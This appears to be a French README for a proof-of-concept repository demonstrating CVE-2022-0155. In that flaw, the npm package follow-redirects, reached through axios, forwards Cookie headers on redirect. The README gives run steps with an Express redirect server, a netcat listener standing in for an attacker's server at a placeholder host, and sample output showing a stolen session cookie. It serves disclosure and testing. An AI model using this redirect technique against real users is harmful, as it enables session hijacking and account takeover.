
Preuve de concept démontrant le vol de cookies CVE-2022-0155 via redirection HTTP dans le paquet npm follow-redirects, incluant un serveur Express et des scripts clients pour tester les attaques par dépendances transitives.
Ce dépôt contient une démonstration de la vulnérabilité CVE-2022-0155. La vulnérabilité a été détectée par ranjit-git et est décrite en détail ici. L'objectif de ce PoC est de démontrer que la vulnérabilité ne s'applique pas uniquement aux scénarios où follow-redirects est utilisé comme dépendance directe, mais également lorsque follow-redirects est utilisé comme dépendance indirecte/transitive via axios.
La vulnérabilité affecte le package npm follow-redirects antérieur à la version 1.14.7. Follow-redirects étend le module HTTP intégré avec la capacité de suivre les redirections.
Pour démontrer la vulnérabilité, considérez le scénario suivant :
La vulnérabilité se situe à l'étape 3, où les versions vulnérables de follow-redirects incluent les mêmes en-têtes que la requête de l'étape 1. Cela permet à de voler, par exemple, l'ID de session de l'utilisateur sur et d'obtenir accès aux données de l'utilisateur.
CookieL'attaque dépend de la capacité de l'attaquant à contrôler la redirection vers https://attackers-webserver.com.
Dans le PoC, un serveur Express est utilisé pour émuler le comportement de https://example.com.
Le serveur possède un unique point de terminaison d'API GET '/redirect', qui redirige le client vers l'URL fournie en paramètre.
Cela émule un scénario dans lequel l'attaquant peut contrôler l'URL vers laquelle le client est redirigé.
npm install
node express-server.js
nc -l -v 8182 # or nc -lnvp 8182 on non-mac systems
node client.js
Vous devriez voir le terminal contenant nc afficher cette sortie :
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
La vulnérabilité est illustrée par la présence de l'en-tête Cookie dans le terminal nc, car le serveur nc (Netcat) est utilisé pour représenter le serveur web de l'attaquant.